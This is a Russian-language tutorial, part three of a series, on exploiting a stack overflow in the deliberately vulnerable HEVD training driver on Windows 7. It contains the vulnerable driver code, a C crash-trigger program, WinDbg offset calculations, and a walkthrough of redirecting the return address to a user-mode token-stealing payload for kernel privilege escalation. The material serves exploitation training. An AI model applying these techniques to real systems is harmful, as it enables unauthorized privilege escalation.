Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 3 – Переполнение буфера в стеке (Windows 7 x86/x64)

Эксплуатация уязвимостей уровня ядра в ОС Windows. Часть 3 – Переполнение буфера в стеке (Windows 7 x86/x64)

Автор: Mohamed Shahat

Код эксплоита находится здесь.

Суть уязвимости

Код, показанный ниже, находится здесь.

NTSTATUS TriggerStackOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = {0};

PAGED_CODE();

__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));

DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
// there will be no overflow
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
DbgPrint("[+] Triggering Stack Overflow\n");

// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

return Status;
}

Метод TriggerStackOverflow вызывается через функцию StackOverflowIoctlHandler, которая является обработчиком IOCTL для HACKSYS_EVD_IOCTL_STACK_OVERFLOW.

Уязвимость довольно очевидна. Пользовательский буфер копируется в буфер ядра размером 2048 байт (512 * sizeof(ULONG)). Поскольку границы не проверяются, получаем классическую брешь, связанную с переполнением стека.

Инициация падения системы

#include <Windows.h>
#include <stdio.h>

// IOCTL to trigger the stack overflow vuln, copied from HackSysExtremeVulnerableDriver/Driver/HackSysExtremeVulnerableDriver.h
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)

int main()
{
// 1. Create handle to driver
HANDLE device = CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);

printf("[+] Opened handle to device: 0x%x\n", device);

// 2. Allocate memory to construct buffer for device
char* uBuffer = (char*)VirtualAlloc(
NULL,
2200,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);

printf("[+] User buffer allocated: 0x%x\n", uBuffer);

RtlFillMemory(uBuffer, 2200 , 'A');

DWORD bytesRet;
// 3. Send IOCTL
DeviceIoControl(
device,
HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
uBuffer,
2200,
NULL,
0,
&bytesRet,
NULL
);
}

Скомпилированный код, показанный выше, копируем на виртуальную машину. Убеждаемся, что сессия WinDBG активна, и запускаем исполняемый файл из шелла. Работа отлаживаемой системы должна приостановиться, а WinDBG должен замигать на вашей рабочей машине.

HEVD показывает отладочную информацию (должен быть включен режим подробного информирования):

****** HACKSYS_EVD_STACKOVERFLOW ******
[+] UserBuffer: 0x000D0000
[+] UserBuffer Size: 0x1068
[+] KernelBuffer: 0xA271827C
[+] KernelBuffer Size: 0x800
[+] Triggering Stack Overflow

Введите команду k для отображения содержимого стека. Должно появиться примерно следующее:

kd> k
# ChildEBP RetAddr
00 8c812d0c 8292fce7 nt!RtlpBreakWithStatusInstruction
01 8c812d5c 829307e5 nt!KiBugCheckDebugBreak+0x1c
02 8c813120 828de3c1 nt!KeBugCheck2+0x68b
03 8c8131a0 82890be8 nt!MmAccessFault+0x104
04 8c8131a0 82888ff3 nt!KiTrap0E+0xdc
05 8c813234 93f666be nt!memcpy+0x33
06 8c813a98 41414141 HEVD!TriggerStackOverflow+0x94 [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 92]
WARNING: Frame IP not in any known module. Following frames may be wrong.
07 8c813aa4 41414141 0x41414141
08 8c813aa8 41414141 0x41414141
09 8c813aac 41414141 0x41414141
0a 8c813ab0 41414141 0x41414141
0b 8c813ab4 41414141 0x41414141

Если возобновить выполнение, 0x41414141 появится в регистре EIP. Ничего сложного J.

Контроль потока выполнения

Эксплуатация этой уязвимости в сочетании с полезной нагрузкой для кражи токена, которую мы рассматривали во второй части, не составляет особых сложностей. Полезная нагрузка конструируется в пространстве пользователя, после чего адрес буфера передается в качестве адреса возврата. Когда дело доходит до нужной функции, выполнение перенаправляется в буфер, находящийся в пространстве пользователя. Этот эксплоит направлен на расширение привилегий, когда вы выполняете код с более высокими правами, чем у вас есть.

Поскольку в Windows 7 функция SMEP отключена, мы можем просто указать на переход к полезной нагрузке в режиме пользователя и осуществить выполнение с привилегиями ядра.

Перезапускаем виртуальную машину, выполнив команду .reboot. Теперь нужно поставить точки останова на начало и конец функции. Для нахождения места возврата вычисляем смещение, используя команду uf.

kd> uf HEVD!TriggerStackOverflow
HEVD!TriggerStackOverflow [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 65]:
65 9176b62a push 80Ch
65 9176b62f push offset HEVD!__safe_se_handler_table+0xc8 (917691d8)
65 9176b634 call HEVD!__SEH_prolog4 (91768014)

...

101 9176b6ed call HEVD!__SEH_epilog4 (91768059)
101 9176b6f2 ret 8

kd> ? 9176b6f2 - HEVD!TriggerStackOverflow
Evaluate expression: 200 = 000000c8

kd> bu HEVD!TriggerStackOverflow

kd> bu HEVD!TriggerStackOverflow + 0xc8

kd> bl
0 e Disable Clear 9176b62a 0001 (0001) HEVD!TriggerStackOverflow
1 e Disable Clear 9176b6f2 0001 (0001) HEVD!TriggerStackOverflow+0xc8

Далее нужно найти смещение инструкции RET:

  • По адресу HEVD!TriggerStackOverflow+0x26 вызывается функция memset с адресом буфера ядра, находящегося в @eax. Дойдите до этой инструкции.
  • Адрес @ebp + 4 указывает адрес процедуры RET. Мы можем рассчитать смещение от буфера ядра.

kd> ? (@ebp + 4) - @eax
Evaluate expression: 2076 = 0000081c

Теперь мы знаем, что адрес возврата хранится на расстоянии 2076 байт от начала буфера ядра.

Главный вопрос: что делать после выполнения полезной нагрузки.

Обнуление регистра

Попробуем посмотреть на то, что мы уже сделали, под другим углом. Перезапись адреса возврата первой функции в стеке означает, что оставшиеся инструкции этой функции выполнены не будут. Имеется в виду функция StackOverflowIoctlHandler по смещению 0x1e.


Рисунок 1: Две инструкции (выделено синим), которые не будут выполнены

Как видно из рисунка выше, требуется выполнить две инструкции, находящиеся в конце нашей полезной нагрузки:

9176b718 pop ebp
9176b719 ret 8

Мы упустили еще одну деталь. Эта функция ожидает возвратное значение в @eax, и любое содержимое, отличное от 0, будет расцениваться как ошибка. Соответственно, перед выполнением завершающих инструкций, нужно решить эту проблему:

xor eax, eax ; Set NTSTATUS SUCCEESS

Полная версия эксплоита находится здесь. Полезная нагрузка рассматривалась во второй части данного цикла.


Рисунок 2: Демонстрация работы эксплоита для системы Windows 7 x86

Портирование эксплоита под Windows 7 64-bit

Схема переделки довольно проста:

  • Смещение от буфера в ядре становится 2056 байт вместо 2076 байт.
  • Используется полезная нагрузка для архитектуры x64 (см. вторую часть).
  • Адреса длиной 8 байт (потребуются некоторые изменения).
  • Дополнительные защиты отсутствуют.


Рисунок 3: Демонстрация работы эксплоита для системы Windows 7 x64

Код эксплоита находится здесь.

Резюме

Буфер из пространства пользователя копируется в буфер ядра без проверки границ. Отсюда имеем уязвимость, связанную с переполнением стека.

  • Адрес возврата функции управляем и может указывать на буфер в пространстве пользователя, поскольку функция SMEP отключена.
  • Полезная нагрузка должна находиться в сегменте памяти с правами на выполнение, иначе сработает DEP.
  • Никакие исключения не следует игнорировать. Мы должны изменить поток выполнения после запуска полезной нагрузки. В нашем случае нужно установить в @eax возвратное значение равное 0 и выполнить оставшиеся инструкции в функции StackOverflowIoctlHandler перед возвратом.

На этом все. В четвертой части мы рассмотрим эксплуатацию этой уязвимости в Windows 10 и обход функции SMEP.


Тени в интернете всегда следят за вами

Станьте невидимкой – подключайтесь к нашему каналу.